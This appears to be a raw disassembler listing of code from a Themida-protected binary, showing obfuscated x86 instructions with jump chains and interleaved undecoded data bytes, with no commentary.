		or	ebx, 4CC37E3Fh
		xor	ebx, 299B1E1Ch
		add	ecx, ebx
		jmp	loc_618AAF
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E95026B0h, 0FFFFC511h, 6962EB81h, 30FF5F76h, 0FFBEA9E9h
		dd 0F665CFFh, 5166C8AFh, 0BE9CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_613A32:				; CODE XREF: Themida_:00611A1Aj
		pop	ecx
		jmp	loc_618C2A
; ---------------------------------------------------------------------------
		dd 0C00AE480h, 0C4FE02ECh, 0FFDA27E9h, 72B768FFh, 24890000h
		dd 24048324h, 0BE565904h, 3FA9165Bh, 2F1BE9h
		db 0
; ---------------------------------------------------------------------------


loc_613A5D:				; CODE XREF: Themida_:00611EC2j
		pop	dword ptr [esp]
		pop	esp
		push	1
		push	dword ptr [esp]
		pop	eax
		push	7EB7h
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 4
		push	eax
		jmp	loc_61BDDC
; ---------------------------------------------------------------------------
		dd 0E95DEE01h, 0FFFFD207h
; ---------------------------------------------------------------------------


loc_613A88:				; CODE XREF: Themida_:0061694Dj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_612545
; ---------------------------------------------------------------------------
		dw 0F181h
aAmf?swv	db 'mF?Wv',0
		dd 4C48300h, 5309E9h, 2C48300h,	23FB68h, 24048900h, 405E089h
		dd 52000000h, 2BAh, 5AD02900h, 2A4BE9h,	2D120500h, 53556B84h
		dd 733FC1BBh, 78C38152h, 89E17A02h, 0E8215BDDh,	595CE95Dh
		dd 815C0000h, 4ECh, 0E28CE900h,	0C581FFFFh, 37552870h
		dd 0ED81D5F7h, 74825F79h, 4EC81h, 14890000h, 53BFBA24h
		dd 0D0016418h, 0CBECE95Ah, 0E95EFFFFh, 5A17h
; ---------------------------------------------------------------------------


loc_613B18:				; CODE XREF: Themida_:0061A2D8j
		add	esp, 4
		jmp	loc_60FA5F
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 0C890000h, 68E18924h, 6093h, 68241C89h
		dd 573E3324h, 22C4E9h, 24048700h, 6624248Bh, 9C240409h
		dd 0FFBD7DE9h, 2434FFFFh, 8124048Bh, 4C4h, 7A8E6800h, 2C890000h
		dd 74606824h, 24890000h, 4BA5224h, 1000000h, 5A042454h
		dd 83242C8Bh, 0C2E904C4h, 0FFFFFFCFh, 669D1C77h, 241CD259h
		dd 0D081E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_613B92:				; CODE XREF: Themida_:00613D26j
		push	1A0h
		mov	[esp], ebp
		push	eax
		mov	eax, 6C8739DFh
		push	7E7Bh
		mov	[esp], eax
		xor	dword ptr [esp], 6DFB3D99h
		pop	ebp
		jmp	loc_61A4BB
; ---------------------------------------------------------------------------
		db 66h,	5, 45h
		dd 0D0016642h, 35CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_613BC1:				; CODE XREF: Themida_:00612DD7j
		add	edx, ebp
		jmp	loc_61588F
; ---------------------------------------------------------------------------
		dd 66D9F766h, 6606E9C1h, 6601C183h, 7D34F181h, 21C18166h
		dd 0CD896681h, 0E9240C8Bh, 0FFFFF6BEh
; ---------------------------------------------------------------------------


loc_613BE8:				; CODE XREF: Themida_:00616685j
		pop	edx
		jmp	loc_6189FB
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0D0EE8103h, 0E9E2F64Dh, 0FFFFE4C7h, 2414875Eh, 0E924248Bh
		dd 0FFFFF315h, 0CD28E950h, 565EFFFFh, 3F7281BEh, 0B9EE8156h
		dd 0E946B02Fh, 0FFFFF7A9h
; ---------------------------------------------------------------------------


loc_613C20:				; CODE XREF: Themida_:0061260Dj
		pop	ecx
		push	esi
		not	dword ptr [esp]
		pop	esi
		dec	esi
		xor	esi, 93FA8CF7h
		add	ebp, esi
		jmp	loc_615DDA
; ---------------------------------------------------------------------------


loc_613C34:				; CODE XREF: Themida_:0061B3E3j
		push	edi
		mov	edi, 7A5E33F9h
		jmp	loc_615A2E
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF241Ch, 0E95B0424h, 514Eh, 4247C29h, 6224E9h, 48B6600h
		dd 4EC8324h, 54243C89h,	4C7815Fh, 53000000h, 0FE7D7EBBh
		dd 0C1DCE962h, 0E589FFFFh, 4C581h, 0C5810000h, 4, 5C242C87h
		dd 8904EC83h, 0E2892414h, 4C281h, 0C2830000h, 74FF5204h
		dd 0DFE90424h, 1000078h, 20CCE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_613CA6:				; CODE XREF: Themida_:00610441j
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 15395508h
		sub	eax, 124E2C67h
		shl	eax, 4
		jmp	loc_611AEA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 40h
		dd 0FFEF41E9h, 0C1815CFFh, 4, 1CE768h, 24048900h, 2B8h
		dd 0BF575300h, 40CA4B54h, 277715BBh, 5FFB311Eh,	94E9D3F7h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_613CF7:				; CODE XREF: Themida_:006105CAj
		mov	[esp], eax
		jmp	loc_615DE2
; ---------------------------------------------------------------------------
		db 81h
		dd 124729C1h, 0BE565D48h, 4, 875EF101h,	248B240Ch, 2404FF24h
		dd 0BBB0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_613D1E:				; CODE XREF: Themida_:00616C53j
		sub	dword ptr [esp], 16DC6070h
		pop	eax
		jmp	loc_613B92
; ---------------------------------------------------------------------------


loc_613D2B:				; CODE XREF: Themida_:00616639j
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		not	edx
		dec	edx
		xor	edx, 0B050B2BCh
		add	esi, edx
		jmp	loc_616949
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFBB86h, 4EC81h, 0C890000h, 4EC8324h, 81242489h
		dd 42404h, 0C8B0000h, 4C48124h,	0E9000000h, 448Dh
; ---------------------------------------------------------------------------


loc_613D6C:				; CODE XREF: Themida_:006143CAj
		push	ebp
		mov	ebp, 27B4751Bh
		shl	ebp, 7
		jmp	loc_6181FF
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B5E95251h, 81000015h, 555CA9F1h,	7BF1817Dh, 29461948h
		dd 0F00159CEh, 0DE89E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_613D9E:				; CODE XREF: Themida_:00610CD1j
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		or	edx, eax
		jmp	loc_60FF00
; ---------------------------------------------------------------------------


loc_613DB7:				; CODE XREF: Themida_:00618117j
		add	esp, 4
		mov	edx, edi
		pop	edi
		neg	edx
		push	ecx
		mov	ecx, 7BFB5357h
		jmp	loc_613610
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 7
		dd 0E904EFC1h, 5D81h, 535DEA01h, 6CE268h, 24348900h, 2BEh
		dd 5E5B5600h, 0F0E9DA01h, 6600005Fh, 68240C8Bh,	1A86h
		dd 54243C89h, 81243C8Bh, 4C4h, 182B6800h, 1C890000h, 4BB24h
		dd 0A6E90000h, 88000072h, 0E376E9F1h, 1C87FFFFh, 27C9E924h
		dd 0C1810000h, 4, 8B240C87h, 5EE92424h,	81FFFFBFh, 873A4CF5h
		dd 387AE90Dh, 8B660000h, 0E950240Ch, 4941h, 7AE95453h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_613E57:				; CODE XREF: Themida_:00614FAAj
		or	edx, 26364558h
		neg	edx
		shl	edx, 1
		jmp	loc_61934F
; ---------------------------------------------------------------------------


loc_613E66:				; CODE XREF: Themida_:0060FAB5j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 10F1788h
		neg	ebx
		push	edi
		push	2EF300A6h
		jmp	loc_61088B
; ---------------------------------------------------------------------------


loc_613E87:				; CODE XREF: Themida_:00615D13j
		and	eax, ebp
		mov	ebp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_618F3B
; ---------------------------------------------------------------------------
		db 1, 0FEh, 8Bh
		dd 0C481243Ch, 4, 4023E9h, 6900BB00h, 0E3816F64h, 1A4E39F5h
		dd 3E9D3F7h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_613EBF:				; CODE XREF: Themida_:0061413Ej
		push	ebx
		mov	ebx, 71CF3A77h
		mov	ebp, 8E30C588h
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_61BC29
; ---------------------------------------------------------------------------
aLSl		db ',$l',0
		align 4
		dd 8B241487h, 0C3302424h, 8DC0B60Fh, 87E98704h,	0BA00004Fh
		dd 0C3A5FFEh, 9E0BB53h,	0DA090137h, 0E5C2815Bh,	29295BE3h
		dd 0A2E95AD0h, 0BA000012h, 4, 0FFBACEE9h, 240483FFh, 7563E904h
		dd 0E9560000h, 0FFFFCD8Ah, 0E9BEB753h, 4F37h, 240C8B66h
		dd 2CBD68h, 243C8900h, 283BE9h,	4ED8100h, 0E9000000h, 0FFFFBE09h
		dd 4C481h, 0BE560000h, 4, 3AAED81h, 59E966CBh, 55000007h
		dd 0CC000D68h, 0E5815D58h, 6739234Bh, 1F74F581h, 0C5813D19h
		dd 25FC06E5h, 271DF581h, 0EB89C041h, 0F8F3815Dh, 81023421h
		dd 0FDE5B8EBh, 5BDA8955h, 3DD1E281h, 524A4A77h,	0E9240CFFh
		dd 7D25h
; ---------------------------------------------------------------------------


loc_613FA0:				; CODE XREF: Themida_:006187C1j
		or	ecx, ecx
		jz	loc_61445B
		sub	esp, 4
		sub	esp, 4
		jmp	loc_61067E
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 4245C01h,	0EDE95A5Bh, 0F700003Dh,	81D3F7DBh, 17EA3DEBh
		dd 5BD889B4h, 1279E9h
		db 0
; ---------------------------------------------------------------------------


loc_613FD5:				; CODE XREF: Themida_:00615CF4j
		xor	edx, 3E6F3DF9h
		add	eax, edx
		jmp	loc_61A78A
; ---------------------------------------------------------------------------
		dw 3487h
		dd 2C895C24h, 7860BD24h, 0C58143F0h, 0F06FF3C8h, 73452D05h
		dd 0C23E902h, 0ED810000h, 78B460F9h, 8124148Bh,	4C4h, 242C8700h
		dd 0C8B665Ch, 4EC8324h,	68242C89h, 5ECh, 81242489h, 42404h
		dd 2C8B0000h, 4C48124h,	81000000h, 4C5h, 66E95700h, 5700000Ah
		dd 0D85B47BFh, 7EFC140h, 7AF78147h, 0C117FC30h,	0C78103EFh
		dd 0FD104FEBh, 875FF829h, 895C2404h, 4568240Ch,	5400001Bh
		dd 4D91E9h, 2C28300h, 5C241487h, 0E9240C8Bh, 0FFFFE493h
		dd 42474FFh, 24048F5Fh,	36B9515Ch, 0E9041974h, 214Ah, 708BC181h
		dd 0CD89B3A7h, 592434FFh, 4C481h, 0E8290000h, 81242C8Bh
		dd 4ECh, 24148900h, 24148B54h, 4C481h, 0C2810000h, 4, 4C281h
		dd 14330000h, 31DFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6140CE:				; CODE XREF: Themida_:0061A8EBj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_61A172
; ---------------------------------------------------------------------------


loc_6140DC:				; CODE XREF: Themida_:0061038Fj
		add	edi, 24193DEBh
		jmp	loc_613602
; ---------------------------------------------------------------------------
		db 81h
		dd 0E5307EEAh, 0A4C28130h, 81AC05D2h, 294455EBh, 81D30141h
		dd 294455C3h, 0D3F75A41h, 3E84C381h, 0DF01DF9Fh, 81241C8Bh
		dd 4C4h, 0C971E900h, 0DEF7FFFFh, 62F8E681h, 0F6817427h
		dd 700F7271h, 348BF531h, 4C48324h, 24ECEF81h, 1CE924CBh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_61413B:				; CODE XREF: Themida_:0061B120j
		mov	[esp], ebp
		jmp	loc_613EBF
; ---------------------------------------------------------------------------
		db 53h
		dd 1DA3BE56h, 0E1685526h, 89000001h, 0E0E9243Ch, 81FFFFF2h
		dd 6C4C60C7h, 81EF010Fh, 6C4C60EFh, 0ECC7810Fh,	5D24CB24h
		dd 8B243C87h, 4812424h,	1C3DF124h, 7F0E6808h, 3C890000h
		dd 7248BF24h, 0DFF77761h, 3916EF81h, 44810B81h,	19160424h
		dd 6C8117A3h, 13D50424h, 19E960C7h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6141A3:				; CODE XREF: Themida_:006108CFj
		neg	ebx
		add	ebx, 20CAAA8Bh
		push	ecx
		mov	ecx, ebx
		jmp	loc_615B3F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B243487h, 8B662424h, 89522404h, 3075E9E2h, 14890000h
		dd 802CB624h, 0EE80EFEEh, 4EC837Ch, 88240C89h, 0EE952F1h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6141DF:				; CODE XREF: Themida_:00619A2Bj
		xor	edi, ebp
		jmp	loc_6189C2
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0F8A4E949h, 0E831FFFFh, 0FFD5B1E9h, 0E9F189FFh, 6D4Fh
		dd 517C681h, 88E920ECh,	8800000Ah, 24148BD7h, 4C481h, 0F8300000h
		dd 241C8B66h, 2C481h, 0C3300000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_61A524
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C241Ch, 0FFFFB696h, 33E9E189h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61423F:				; CODE XREF: Themida_:0061A698j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_61AD73
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0C8B0000h, 4C48124h,	0E9000000h, 5BA2h, 0C82DF801h
		dd 5F4D6761h, 4D16E9h, 48F5800h, 4DCAE924h, 0BE660000h
		dd 81665998h, 0E94137EEh, 1528h
; ---------------------------------------------------------------------------


loc_614284:				; CODE XREF: Themida_:00611414j
		inc	edx
		jmp	loc_612D1B
; ---------------------------------------------------------------------------
		dw 8359h
		dd 348702EEh, 24248B24h, 0FFD470E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_614299:				; CODE XREF: Themida_:00618C47j
		mov	[esp], ebp
		mov	ebp, 20E463F0h
		jmp	loc_616E5D
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0F6E95C24h, 6600006Eh, 5D54555Ah, 4C581h, 7EE90000h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6142BF:				; CODE XREF: Themida_:006107CEj
		inc	eax
		xchg	eax, esi
		neg	esi
		push	eax
		push	esi
		pop	eax
		jmp	loc_61A83A
; ---------------------------------------------------------------------------
		db 81h
		dd 0DB785EE2h, 72BD552Eh, 0E9537102h, 0FFFFCAA2h, 418C580h
		dd 286104F6h, 51612CE8h, 0E9D3B353h, 189Eh, 58204789h
		dd 0FFE9ACE9h, 243C33FFh, 3824248Bh, 0C7E99CC1h, 8BFFFFB5h
		dd 85662424h, 1EE99CC8h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_614313:				; CODE XREF: Themida_:006129E5j
		push	ecx
		mov	ecx, 61DA60C2h
		xor	ecx, 681F618Fh
		shr	ecx, 1
		shl	ecx, 3
		or	ecx, 927043Bh
		not	ecx
		add	ecx, 2F37053Dh
		jmp	loc_60FA31
; ---------------------------------------------------------------------------
		db 51h
		dd 5021B652h, 0C620A9B0h, 66C6FE58h, 2010B450h,	0E95866E6h
		dd 0FFFFCF1Fh, 240C8B66h, 50DD68h, 24048900h, 0CE685854h
		dd 0E9000056h, 5F8h
; ---------------------------------------------------------------------------


loc_614368:				; CODE XREF: Themida_:0061BE3Aj
		pop	ebp
		or	ebp, 40C45742h
		jmp	loc_617750
; ---------------------------------------------------------------------------
		dd 0B670E957h, 2489FFFFh, 24048324h, 2434FF04h,	4C4815Ah
		dd 68000000h, 21D1h, 0BF243C89h, 1A36A4Bh, 0E7C1D7F7h
		dd 0E9575603h, 0FFFFD431h
; ---------------------------------------------------------------------------


loc_6143A4:				; CODE XREF: Themida_:00619621j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_61B29B
; ---------------------------------------------------------------------------


loc_6143B2:				; CODE XREF: Themida_:0061AE04j
		xor	dl, 8Eh
		jmp	loc_61765F
; ---------------------------------------------------------------------------


loc_6143BA:				; CODE XREF: Themida_:00611332j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_613D6C
; ---------------------------------------------------------------------------


loc_6143CF:				; CODE XREF: Themida_:006110CAj
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_6194BC
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 0E904EF83h, 4070h
; ---------------------------------------------------------------------------


loc_6143F0:				; CODE XREF: Themida_:00617793j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAHs		db 'ah-',0
		align 2
		dw 489h
		dd 24048B24h, 0E1895155h, 33BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_614415:				; CODE XREF: Themida_:00619837j
		mov	[esp], esi
		push	edx
		mov	edx, 61811ACh
		sub	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		xor	edx, 5C54383Ch
		sub	esp, 4
		jmp	loc_614DAE
; ---------------------------------------------------------------------------


loc_614435:				; CODE XREF: Themida_:00619871j
		push	esi
		sub	dword ptr [esp], 44944ADBh
		pop	dword ptr [edx+38h]
		add	dword ptr [edx+38h], 44944ADBh
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_61445B:				; CODE XREF: Themida_:00613FA2j
		push	edi
		jmp	loc_61670D
; ---------------------------------------------------------------------------
		db 53h,	68h, 9Dh
		dd 5B3BB103h, 95FE9h
		db 0
; ---------------------------------------------------------------------------


loc_61446D:				; CODE XREF: Themida_:00618C9Ej
		push	esi
		jmp	loc_61240C
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFB7B5E9h, 8BF101FFh, 0CAE92434h, 0B900001Ah, 4, 0FFEF66E9h
		dd 240C8BFFh, 4C483h, 85B753D8h, 55E9F800h, 5200006Dh
		dd 4156F4BAh, 0F7DAF767h, 81CA81DAh, 81294B31h,	0EB69D7F2h
		dd 0F137E901h, 32FFFFFFh, 0FFB40DE9h, 88C788FFh, 17E95BFDh
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6144CB:				; CODE XREF: Themida_:00614FB7j
		push	dword ptr [esp]
		jmp	loc_610030
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB3F6h, 81E28952h, 4C2h,	0F9E95300h, 5900002Bh
		dd 2BA1E281h, 0EA810BE2h, 0BC2081Ch, 73F8E9h, 4C48100h
		dd 0E9000000h, 0FFFFB3CAh, 68243C89h, 28F34F59h, 0ABC7815Fh
		dd 89D70CB0h, 0F3015FFEh, 8124348Bh, 4C4h, 53BA5200h, 810B7171h
		dd 353851CAh, 0EFEA8160h, 0D1770C7Ah, 6E2C1E2h,	1ED2C281h
		dd 0B6E90370h, 5A00003Dh, 0D828912Ch, 0F6E99104h, 8100002Ah
		dd 0FD8066EFh, 5FFE010Dh, 2BF57h, 7FE90000h, 8F00000Dh
		dd 248B2404h, 0C8B6624h, 3E796824h, 2C890000h, 52E95424h
		dd 52FFFFD0h, 2FD3B951h, 0C9810AE2h, 5986623Bh,	0E903E9C1h
		dd 0FFFFD8B2h, 1F4EC381h, 0C32918B5h, 1F4EEB81h, 0BE5618B5h
		dd 17CB3F10h, 348BF301h, 4C48124h, 0E9000000h, 0FFFFDC7Ch
; ---------------------------------------------------------------------------


loc_6145B4:				; CODE XREF: Themida_:00610E15j
		neg	eax
		dec	eax
		not	eax
		xor	eax, 16F77101h
		sub	ecx, 1EF10F3Dh
		sub	ecx, eax
		add	ecx, 1EF10F3Dh
		pop	eax
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_6183F5
; ---------------------------------------------------------------------------


loc_6145E6:				; CODE XREF: Themida_:0061B05Aj
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_618173
		sub	esp, 4
		mov	[esp], ebx
		push	1Ch
		pop	ebx
		sub	ebx, 38EB3F4Eh
		sub	ebx, 3916306Fh
		add	ebx, edi
		push	3AB1h
		mov	[esp], esi
		push	edx
		mov	edx, 781256BFh
		or	edx, 42FE2B8Ch
		not	edx
		and	edx, 17406325h
		jmp	loc_6100B5
; ---------------------------------------------------------------------------
		dd 9A2DD029h, 8B0E670Eh, 0C4832414h, 24043304h,	33240431h
		dd 248B2404h, 242C8924h, 0FFC203E9h, 0F6E95DFFh, 0FF00000Fh
		dd 815A2434h, 4C4h, 608BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_614666:				; CODE XREF: Themida_:00610ACEj
		pop	dword ptr [esp]
		push	edx
		jmp	loc_6180AC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0C3B65204h, 8005E6C0h, 0C6FE6EE6h, 4129E9h
		dd 4BE00h, 0F1010000h, 2EF6E9h,	0CE816600h, 8166744Ah
		dd 66C950F6h, 665EF529h, 2C8BE801h, 4C48324h, 26ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_6146AD:				; CODE XREF: Themida_:0061903Bj
		add	ebp, 4
		jmp	loc_6110BC
; ---------------------------------------------------------------------------
		dd 7CE9F501h, 66000060h, 0FEFDB353h, 2FF380CBh,	8B66D930h
		dd 0C483241Ch, 38CBE902h, 0E5890000h, 4C581h, 0BA520000h
		dd 2, 23B2BE56h, 0C6817C9Ch, 7F83896h, 5106EEC1h, 0D442FAB9h
		dd 94C1815Eh, 0E9624147h, 801h,	4EC81h,	2CE90000h, 5BFFFFF0h
		dd 0E924048Fh, 1E45h
; ---------------------------------------------------------------------------


loc_614718:				; CODE XREF: Themida_:006178C2j
		mov	edi, 1E587B2Eh
		inc	edi
		xor	edi, 5E0E4C85h
		neg	edi
		or	edi, 4379732Eh
		dec	edi
		xor	edi, 0F778F348h
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, ecx
		mov	ebx, edx
		pop	edx
		pop	ecx
		push	ecx
		jmp	loc_61797C
; ---------------------------------------------------------------------------
		db 0B9h
		dd 57584463h, 0F181D9F7h, 0A8A7BB99h, 4EE9CE01h, 52000004h
		dd 0BD55E289h, 362C6245h, 0AA0E9h, 24048B00h, 0FFC496E9h
		dd 28F64FFh, 953E9h, 0A4E38100h, 812CAD09h, 0AA1CADCBh
		dd 0A08E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_614786:				; CODE XREF: Themida_:0061B8D8j
		xchg	esi, [esp]
		pop	esp
		shr	eax, 0Eh
		jmp	loc_614ECB
; ---------------------------------------------------------------------------
		dw 37E9h
		dd 81FFFFB1h, 0CE1B13F1h, 244C3126h, 2434FF04h,	4C48159h
		dd 8B000000h, 0A4E92404h, 81FFFFFFh, 250397C3h,	51EB8121h
		dd 0E933FC71h, 5D1h, 69B3BD55h,	0EDC14085h, 0C201E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6147D2:				; CODE XREF: Themida_:00615A99j
		pop	eax
		push	ecx
		jmp	loc_61096C
; ---------------------------------------------------------------------------


loc_6147D9:				; CODE XREF: Themida_:0061244Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_6123A5
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 42474FFh, 24048F5Bh,	0E924248Bh, 4E5Dh, 81E18951h, 4C1h
		dd 69E95300h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_614823:				; CODE XREF: Themida_:0061A6FBj
		sub	edi, 8BB25D2Eh
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_6105B3
; ---------------------------------------------------------------------------
		db 1
aYhlm		db 'Yhlm',0
		dw 8900h
		dd 2BD242Ch, 29000000h,	242C8BEEh, 81E78957h, 4C7h, 82BB5300h
		dd 0E9508624h, 4475h, 4BBh, 0E9DE0100h,	54B4h, 6804C483h
		dd 0FB8h, 54243C89h, 140CE9h, 4C78300h,	2FCFE9h, 4C18300h
		dd 68A4E9h, 0C1814100h,	10D2A1A0h, 159CE29h, 0E9535EF5h
		dd 0FFFFCA01h
; ---------------------------------------------------------------------------


loc_6148A8:				; CODE XREF: Themida_:00610E99j
		push	bp
		mov	bp, 71D6h
		xor	cx, bp
		jmp	loc_616F9D
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 4C6835Fh, 0E9243487h, 672Ch,	28DFE980h, 0F6E959C8h
		dd 5E00005Dh, 4C181h, 0C870000h, 0EFE95C24h, 0B8FFFFAFh
		dd 68277057h, 516E2735h, 53D8F747h, 1C7D79BBh, 5BD80153h
		dd 1522622Dh, 0C9F2D6Eh, 0C729B589h, 35E6E9h, 0C8B6600h
		dd 6BE95324h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61490F:				; CODE XREF: Themida_:0061845Bj
		inc	ecx
		xor	ecx, 477490CBh
		add	ebx, 68763BA6h
		add	ebx, ecx
		sub	ebx, 68763BA6h
		pop	ecx
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_61632C
; ---------------------------------------------------------------------------
		dw 68h
		dd 0FF000000h, 34FF2434h, 5E95B24h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_614947:				; CODE XREF: Themida_:0061710Ej
		shl	esi, 7
		sub	esi, 72317C4Fh
		neg	esi
		add	esi, 492BCB35h
		xor	ecx, esi
		pop	esi
		jmp	loc_612B0C
; ---------------------------------------------------------------------------
		dd 68243489h, 200E49EBh, 6CCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_61496D:				; CODE XREF: Themida_:006198CCj
		and	esi, edx
		pop	edx
		jmp	loc_61A980
; ---------------------------------------------------------------------------
		db 0B9h, 0C1h, 27h
		dd 0D1870E53h, 5251D2F7h, 53565A59h, 0DD647DBBh, 0A0F38128h
		dd 81452974h, 0A0E917EBh, 5BDE895Fh, 7429E9h, 98E95900h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6149A3:				; CODE XREF: Themida_:00612573j
		push	esi
		jmp	loc_61A819
; ---------------------------------------------------------------------------
a_x313		db '_X3,$1,$3,$\',0
		dw 2404h
		dd 0AF10E99Ch, 5C31FFFFh, 1C8B0424h, 4C48124h, 8B000000h
		dd 0C4812404h, 4, 0FA24D935h, 24148B2Ch, 5585450h, 4, 8704C083h
		dd 565C2404h, 3D786851h, 0C1597598h, 0B6E903E1h, 1FFFFE1h
		dd 0E5E95DEEh, 5C000029h, 35FEE9h, 17E95300h, 81FFFFCCh
		dd 4C7h, 4C78100h, 33000000h, 3C31243Ch, 0DE6AE924h, 0B858FFFFh
		dd 5AA62683h, 5BA2E952h, 48B0000h, 4C48324h, 685FFB89h
		dd 0E8Bh, 68240489h, 30E0h, 51240489h, 9635D6B9h, 59C8890Dh
		dd 4246C81h, 58E01F77h,	4244429h, 4BF9E9h, 2CC8FE00h, 58C328CCh
		dd 63FA6866h, 24148966h, 0E9AFB753h, 0FFFFEF59h, 0FF2434FFh
		dd 57582434h, 0EC81E789h, 4, 0E9240C89h, 1414h,	8704C783h
		dd 97E9243Ch, 5600005Eh, 5416E9h, 26800h, 0E95F0000h, 0FFFFBD39h
		dd 52240C8Bh, 42A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_614AB9:				; CODE XREF: Themida_:00615510j
		mov	edx, 4
		add	esi, edx
		jmp	loc_60FD25
; ---------------------------------------------------------------------------


loc_614AC5:				; CODE XREF: Themida_:00619BB8j
		mov	eax, [esp]
		jmp	loc_619C8E
; ---------------------------------------------------------------------------


loc_614ACD:				; CODE XREF: Themida_:00619398j
		pop	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_6151FB
; ---------------------------------------------------------------------------


loc_614AD9:				; CODE XREF: Themida_:006178ACj
		pop	ebp
		push	esi
		jmp	loc_6125C0
; ---------------------------------------------------------------------------
aJsM		db 'Jm',0
		align 2
		dw 2E68h
		dd 0E900000Fh, 44AFh
; ---------------------------------------------------------------------------


loc_614AF0:				; CODE XREF: Themida_:0061978Bj
		push	ecx
		mov	ecx, 6D951879h
		sub	ecx, 4A07257Eh
		xor	edx, ecx
		pop	ecx
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 2
		push	ebx
		mov	ebx, 7E9D1FB1h
		inc	ebx
		and	ebx, 62911391h
		sub	ebx, 521FF663h
		add	ebp, ebx
		pop	ebx
		add	ebp, ebx
		sub	ebp, 10711D2Dh
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_617AA2
; ---------------------------------------------------------------------------
		db 30h
		dd 0C695E9F5h
		db 2 dup(0FFh)
